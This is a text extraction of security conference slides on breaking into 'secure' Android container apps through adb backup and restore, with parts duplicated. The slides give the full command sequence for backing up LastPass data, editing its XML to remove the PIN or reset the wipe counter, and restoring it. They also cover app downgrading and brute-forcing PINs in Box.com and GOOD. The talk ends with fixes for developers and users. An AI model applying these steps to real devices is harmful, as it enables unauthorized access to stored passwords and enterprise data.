bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 26: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

